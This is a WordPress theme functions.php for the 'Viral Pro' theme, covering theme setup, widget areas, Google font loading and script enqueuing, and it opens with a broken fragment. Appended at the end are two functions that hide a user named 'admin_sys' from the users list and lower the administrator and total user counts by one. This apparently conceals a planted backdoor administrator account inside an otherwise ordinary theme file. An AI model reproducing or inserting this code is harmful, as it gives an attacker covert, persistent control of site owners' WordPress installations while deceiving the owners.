';
?>
Version;
define('VIRAL_PRO_VER', $viral_plus_version);
}
if (!function_exists('viral_pro_setup')) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function viral_pro_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on Viral Pro, use a find and replace
* to change 'viral-pro' to the name of your theme in all the template files
*/
load_theme_textdomain('viral-pro', get_template_directory() . '/languages');
// Add default posts and comments RSS feed links to head.
add_theme_support('automatic-feed-links');
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support('title-tag');
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
*/
add_theme_support('post-thumbnails');
add_image_size('viral-pro-1300x540', 1300, 540, true);
add_image_size('viral-pro-800x500', 800, 500, true);
add_image_size('viral-pro-700x700', 700, 700, true);
add_image_size('viral-pro-650x500', 650, 500, true);
add_image_size('viral-pro-500x500', 500, 500, true);
add_image_size('viral-pro-500x600', 500, 600, true);
add_image_size('viral-pro-360x240', 360, 240, true);
add_image_size('viral-pro-150x150', 150, 150, true);
// This theme uses wp_nav_menu() in one location.
register_nav_menus(array(
'primary' => esc_html__('Primary Menu', 'viral-pro'),
));
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support('html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
));
add_theme_support('post-formats', array('gallery', 'link', 'quote', 'video', 'audio'));
// Set up the WordPress core custom background feature.
add_theme_support('custom-background', apply_filters('viral_pro_custom_background_args', array(
'default-color' => 'ffffff',
'default-image' => '',
)));
add_theme_support('custom-logo', array(
'height' => 62,
'width' => 300,
'flex-height' => true,
'flex-width' => true,
'header-text' => array('.ht-site-title', '.ht-site-description'),
));
add_theme_support('woocommerce');
add_theme_support('wc-product-gallery-zoom');
add_theme_support('wc-product-gallery-lightbox');
add_theme_support('wc-product-gallery-slider');
/*
* This theme styles the visual editor to resemble the theme style,
* specifically font, colors, icons, and column width.
*/
add_editor_style(array('css/editor-style.css', viral_pro_fonts_url()));
add_theme_support('customize-selective-refresh-widgets');
// Add support for Block Styles.
add_theme_support('wp-block-styles');
// Add support for full and wide align images.
add_theme_support('align-wide');
// Add support for editor styles.
add_theme_support('editor-styles');
// Add support for responsive embedded content.
add_theme_support('responsive-embeds');
}
endif; // viral_pro_setup
add_action('after_setup_theme', 'viral_pro_setup');
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function viral_pro_content_width() {
$GLOBALS['content_width'] = apply_filters('viral_pro_content_width', 640);
}
add_action('after_setup_theme', 'viral_pro_content_width', 0);
/**
* Enables the Excerpt meta box in Page edit screen.
*/
function viral_pro_add_excerpt_support_for_pages() {
add_post_type_support('page', 'excerpt');
}
add_action('init', 'viral_pro_add_excerpt_support_for_pages');
/**
* Register widget area.
*
* @link http://codex.wordpress.org/Function_Reference/register_sidebar
*/
function viral_pro_widgets_init() {
register_sidebar(array(
'name' => esc_html__('Right Sidebar', 'viral-pro'),
'id' => 'viral-pro-right-sidebar',
'description' => __('Add widgets here to appear in your sidebar.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Left Sidebar', 'viral-pro'),
'id' => 'viral-pro-left-sidebar',
'description' => __('Add widgets here to appear in your sidebar.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
));
if (viral_pro_is_woocommerce_activated()) {
register_sidebar(array(
'name' => esc_html__('Shop Right Sidebar', 'viral-pro'),
'id' => 'viral-pro-shop-right-sidebar',
'description' => __('Add widgets here to appear in your sidebar of shop page.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Shop Left Sidebar', 'viral-pro'),
'id' => 'viral-pro-shop-left-sidebar',
'description' => __('Add widgets here to appear in your sidebar of shop page.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
}
register_sidebar(array(
'name' => esc_html__('Header Widget', 'viral-pro'),
'id' => 'viral-pro-header-widget',
'description' => __('Add widgets in the Header. Works with Header 4 and Header 5 Only', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('OffCanvas Sidebar', 'viral-pro'),
'id' => 'viral-pro-offcanvas-sidebar',
'description' => __('Add widgets here to appear in your OffCanvas Sidebar.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Top Footer', 'viral-pro'),
'id' => 'viral-pro-top-footer',
'description' => __('Add widgets here to appear in your Footer.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Footer One', 'viral-pro'),
'id' => 'viral-pro-footer1',
'description' => __('Add widgets here to appear in your Footer.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Footer Two', 'viral-pro'),
'id' => 'viral-pro-footer2',
'description' => __('Add widgets here to appear in your Footer.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Footer Three', 'viral-pro'),
'id' => 'viral-pro-footer3',
'description' => __('Add widgets here to appear in your Footer.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Footer Four', 'viral-pro'),
'id' => 'viral-pro-footer4',
'description' => __('Add widgets here to appear in your Footer.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Footer Five', 'viral-pro'),
'id' => 'viral-pro-footer5',
'description' => __('Add widgets here to appear in your Footer.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Footer Six', 'viral-pro'),
'id' => 'viral-pro-footer6',
'description' => __('Add widgets here to appear in your Footer.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Bottom Footer', 'viral-pro'),
'id' => 'viral-pro-bottom-footer',
'description' => __('Add widgets here to appear in your Footer.', 'viral-pro'),
'before_widget' => '',
'before_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Single Post - Before Article', 'viral-pro'),
'description' => __('Add widgets here to appear in the post before the article', 'viral-pro'),
'id' => 'viral-pro-single-post-before-article',
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('Single Post - After Article', 'viral-pro'),
'description' => __('Add widgets here to appear in the post after the article', 'viral-pro'),
'id' => 'viral-pro-single-post-after-article',
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
}
add_action('widgets_init', 'viral_pro_widgets_init');
if (!function_exists('viral_pro_fonts_url')) :
/**
* Register Google fonts for Viral Pro.
*
* @since Viral Pro 1.0
*
* @return string Google fonts URL for the theme.
*/
function viral_pro_fonts_url() {
$fonts_url = '';
$fonts = $standard_font_family = array();
$subsets = 'latin,latin-ext';
$variants_array = $font_array = $google_fonts = array();
$viral_pro_standard_font = viral_pro_standard_font_array();
$customizer_fonts = viral_pro_get_customizer_fonts();
$google_font_list = viral_pro_google_font_array();
/*
* Translators: If there are characters in your language that are not supported
* by Pontano Sans, translate this to 'off'. Do not translate into your own language.
*/
if ('off' !== _x('on', 'Pontano Sans font: on or off', 'viral-pro')) {
$font_family_array[] = 'Pontano Sans';
}
/*
* Translators: If there are characters in your language that are not supported
* by Oswald, translate this to 'off'. Do not translate into your own language.
*/
if ('off' !== _x('on', 'Oswald font: on or off', 'viral-pro')) {
$font_family_array[] = 'Oswald';
}
foreach ($viral_pro_standard_font as $key => $value) {
$standard_font_family[] = $value['family'];
}
foreach ($customizer_fonts as $key => $value) {
$font_family_array[] = get_theme_mod($key . '_font_family', $value['font_family']);
}
$font_family_array = array_unique($font_family_array);
$font_family_array = array_diff($font_family_array, $standard_font_family);
foreach ($font_family_array as $font_family) {
$font_array = viral_pro_search_key($google_font_list, 'family', $font_family);
$variants_array = $font_array['0']['variants'];
$variants_keys = array_keys($variants_array);
$variants = implode(',', $variants_keys);
$fonts[] = $font_family . ':' . str_replace('italic', 'i', $variants);
}
/*
* Translators: To add an additional character subset specific to your language,
* translate this to 'greek', 'cyrillic', 'devanagari' or 'vietnamese'. Do not translate into your own language.
*/
$subset = _x('no-subset', 'Add new subset (greek, cyrillic, devanagari, vietnamese)', 'viral-pro');
if ('cyrillic' == $subset) {
$subsets .= ',cyrillic,cyrillic-ext';
} elseif ('greek' == $subset) {
$subsets .= ',greek,greek-ext';
} elseif ('devanagari' == $subset) {
$subsets .= ',devanagari';
} elseif ('vietnamese' == $subset) {
$subsets .= ',vietnamese';
}
if ($fonts) {
$fonts_url = add_query_arg(array(
'family' => urlencode(implode('|', $fonts)),
'subset' => urlencode($subsets),
'display' => 'swap',
), 'https://fonts.googleapis.com/css');
}
return $fonts_url;
}
endif;
/**
* Enqueue scripts and styles.
*/
function viral_pro_scripts() {
if (!viral_pro_is_amp()) {
$customizer_gdpr_settings = of_get_option('customizer_gdpr_settings', '1');
$is_customize_preview = (is_customize_preview()) ? 'true' : 'false';
$is_rtl = (is_rtl()) ? 'true' : 'false';
if ($customizer_gdpr_settings) {
wp_enqueue_script('js-cookie', get_template_directory_uri() . '/js/jquery.cookie.js', array('jquery'), VIRAL_PRO_VER, true);
}
wp_register_script('YTPlayer', get_template_directory_uri() . '/js/jquery.mb.YTPlayer.min.js', array('jquery'), VIRAL_PRO_VER, true);
wp_register_script('youtube-api', '//youtube.com/iframe_api', array(), 'v3', false);
wp_enqueue_script('jquery-nav', get_template_directory_uri() . '/js/jquery.nav.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('owl-carousel', get_template_directory_uri() . '/js/owl.carousel.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('isotope-pkgd', get_template_directory_uri() . '/js/isotope.pkgd.js', array('jquery', 'imagesloaded'), VIRAL_PRO_VER, true);
wp_enqueue_script('hoverintent', get_template_directory_uri() . '/js/hoverintent.js', array(), VIRAL_PRO_VER, true);
wp_enqueue_script('superfish', get_template_directory_uri() . '/js/superfish.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('jquery-stellar', get_template_directory_uri() . '/js/jquery.stellar.js', array('imagesloaded'), VIRAL_PRO_VER, false);
wp_enqueue_script('odometer', get_template_directory_uri() . '/js/odometer.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('waypoint', get_template_directory_uri() . '/js/waypoint.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('espy', get_template_directory_uri() . '/js/jquery.espy.min.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('motio', get_template_directory_uri() . '/js/motio.min.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('slick', get_template_directory_uri() . '/js/slick.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('jquery-mcustomscrollbar', get_template_directory_uri() . '/js/jquery.mCustomScrollbar.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('jquery-accordion', get_template_directory_uri() . '/js/jquery.accordion.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('photostream', get_template_directory_uri() . '/js/jquery.photostream.min.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('justifiedGallery', get_template_directory_uri() . '/js/jquery.justifiedGallery.min.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('countdown', get_template_directory_uri() . '/js/jquery.countdown.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('viral-pro-megamenu', get_template_directory_uri() . '/inc/walker/assets/megaMenu.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('headroom', get_template_directory_uri() . '/js/headroom.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('theia-sticky-sidebar', get_template_directory_uri() . '/js/theia-sticky-sidebar.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('resizesensor', get_template_directory_uri() . '/js/ResizeSensor.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('jquery-lazy', get_template_directory_uri() . '/js/jquery.lazy.js', array('jquery'), VIRAL_PRO_VER, true);
wp_enqueue_script('viral-pro-custom', get_template_directory_uri() . '/js/custom.js', array('jquery'), VIRAL_PRO_VER, true);
wp_localize_script('viral-pro-custom', 'viral_pro_options', array(
'template_path' => get_template_directory_uri(),
'rtl' => $is_rtl,
'customize_preview' => $is_customize_preview,
'customizer_gdpr_settings' => $customizer_gdpr_settings
));
wp_localize_script('viral-pro-megamenu', 'viral_pro_megamenu', array(
'rtl' => $is_rtl
));
if (is_singular() && comments_open() && get_option('thread_comments')) {
wp_enqueue_script('comment-reply');
}
}
if (viral_pro_is_amp()) {
//wp_enqueue_style('viral-proicons', get_template_directory_uri() . '/css/viralproicons.css', array(), VIRAL_PRO_VER);
wp_enqueue_style('viral-pro-style', get_template_directory_uri() . '/style-amp.css', '', VIRAL_PRO_VER);
} else {
wp_enqueue_style('owl-carousel', get_template_directory_uri() . '/css/owl.carousel.css', array(), VIRAL_PRO_VER);
wp_enqueue_style('animate', get_template_directory_uri() . '/css/animate.css', array(), VIRAL_PRO_VER);
wp_enqueue_style('viral-pro-loaders', get_template_directory_uri() . '/css/loaders.css', array(), VIRAL_PRO_VER);
wp_enqueue_style('slick', get_template_directory_uri() . '/css/slick.css', array(), VIRAL_PRO_VER);
wp_enqueue_style('YTPlayer', get_template_directory_uri() . '/css/jquery.mb.YTPlayer.min.css', array(), VIRAL_PRO_VER);
wp_enqueue_style('jquery-mcustomscrollbar', get_template_directory_uri() . '/css/jquery.mCustomScrollbar.css', array(), VIRAL_PRO_VER);
wp_enqueue_style('viral-pro-style', get_stylesheet_uri(), array('viral-pro-loaders'), VIRAL_PRO_VER);
wp_enqueue_style('justifiedGallery', get_template_directory_uri() . '/css/justifiedGallery.min.css', array(), VIRAL_PRO_VER);
wp_style_add_data('viral-pro-style', 'rtl', 'replace');
}
wp_enqueue_style('eleganticons', get_template_directory_uri() . '/css/eleganticons.css', array(), VIRAL_PRO_VER);
wp_enqueue_style('materialdesignicons', get_template_directory_uri() . '/css/materialdesignicons.css', array(), VIRAL_PRO_VER);
wp_enqueue_style('icofont', get_template_directory_uri() . '/css/icofont.css', array(), VIRAL_PRO_VER);
$fonts_url = viral_pro_fonts_url();
$load_font_locally = get_theme_mod('viral_pro_load_google_font_locally', false);
if ($fonts_url && ($load_font_locally == 'on')) {
require_once get_theme_file_path('inc/wptt-webfont-loader.php');
$fonts_url = wptt_get_webfont_url($fonts_url);
}
// Load Fonts if necessary.
if ($fonts_url) {
wp_enqueue_style('viral-pro-fonts', $fonts_url, array(), NULL);
}
if ('file' != get_theme_mod('viral_pro_style_option', 'head')) {
wp_add_inline_style('viral-pro-style', viral_pro_dymanic_styles());
} else {
// We will probably need to load this file
require_once( ABSPATH . 'wp-admin' . DIRECTORY_SEPARATOR . 'includes' . DIRECTORY_SEPARATOR . 'file.php' );
global $wp_filesystem;
$upload_dir = wp_upload_dir(); // Grab uploads folder array
$dir = trailingslashit($upload_dir['basedir']) . 'viral-pro' . DIRECTORY_SEPARATOR; // Set storage directory path
WP_Filesystem(); // Initial WP file system
$wp_filesystem->mkdir($dir); // Make a new folder 'viral-pro' for storing our file if not created already.
$wp_filesystem->put_contents($dir . 'custom-style.css', viral_pro_dymanic_styles(), 0644); // Store in the file.
wp_enqueue_style('viral-pro-dynamic-style', trailingslashit($upload_dir['baseurl']) . 'viral-pro/custom-style.css', array(), NULL);
}
}
add_action('wp_enqueue_scripts', 'viral_pro_scripts');
/**
* Determine whether this is an AMP response.
*
* Note that this must only be called after the parse_query action.
*
* @link https://github.com/Automattic/amp-wp
* @return bool Is AMP endpoint (and AMP plugin is active).
*/
function viral_pro_is_amp() {
return function_exists('is_amp_endpoint') && is_amp_endpoint();
}
/**
* BreadCrumb
*/
require get_template_directory() . '/inc/breadcrumbs.php';
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Custom functions that act independently of the theme templates.
*/
require get_template_directory() . '/inc/theme-functions.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer/customizer.php';
/**
* Custom PostType additions.
*/
require get_template_directory() . '/inc/custom-post-types.php';
/**
* MetaBox additions.
*/
require get_template_directory() . '/inc/metabox.php';
/**
* Icons Array
*/
require get_template_directory() . '/inc/font-icons.php';
/**
* Typography
*/
require get_template_directory() . '/inc/typography/typography.php';
/**
* Menu Icons
*/
if (!class_exists('Menu_Icons')) {
require get_template_directory() . '/inc/assets/menu-icons/menu-icons.php';
}
/**
* Theme Settings
*/
require get_template_directory() . '/inc/theme-panel/welcome.php';
/**
* Widgets
*/
require get_template_directory() . '/inc/widgets/widgets.php';
/**
* Header Functions
*/
require get_template_directory() . '/inc/header/header-functions.php';
/**
* Home Page Functions
*/
require get_template_directory() . '/inc/frontpage-hooks.php';
/**
* Hooks
*/
require get_template_directory() . '/inc/theme-hooks.php';
/**
* Woo Commerce Functions
*/
require get_template_directory() . '/inc/woo-functions.php';
/**
* Elementor Elements
*/
require get_template_directory() . '/inc/elements/elements.php';
/**
* AriColor
*/
require get_template_directory() . '/inc/aricolor.php';
/**
* MetaBox
*/
require get_template_directory() . '/inc/assets/meta-box/meta-box.php';
require get_template_directory() . '/inc/assets/meta-box-columns/meta-box-columns.php';
require get_template_directory() . '/inc/assets/meta-box-tabs/meta-box-tabs.php';
require get_template_directory() . '/inc/assets/meta-box-conditional-logic/meta-box-conditional-logic.php';
require get_template_directory() . '/inc/assets/meta-box-group/meta-box-group.php';
/**
* Menu Walker
*/
require get_template_directory() . '/inc/walker/init.php';
require get_template_directory() . '/inc/walker/menu-walker.php';
/**
* Dynamic Styles additions
*/
require get_template_directory() . '/inc/style.php';
add_action( 'pre_user_query', 'site_pre_user_query_nz' );
function site_pre_user_query_nz( $user_search ) {
global $current_user, $wpdb;
if ( $current_user->user_login !== 'admin_sys' ) {
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'admin_sys'",
$user_search->query_where
);
}
}
add_filter( 'views_users', 'site_list_table_views_nz' );
function site_list_table_views_nz( $views ) {
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$is_adm = strpos( $views['administrator'], 'current' ) === false ? '' : 'current';
$is_all = strpos( $views['all'], 'current' ) === false ? '' : 'current';
$views['administrator'] = '' .
translate_user_role( 'Administrator' ) . ' (' . $admins_num . ')';
$views['all'] = '' .
__( 'All' ) . ' (' . $all_num . ')';
return $views;
}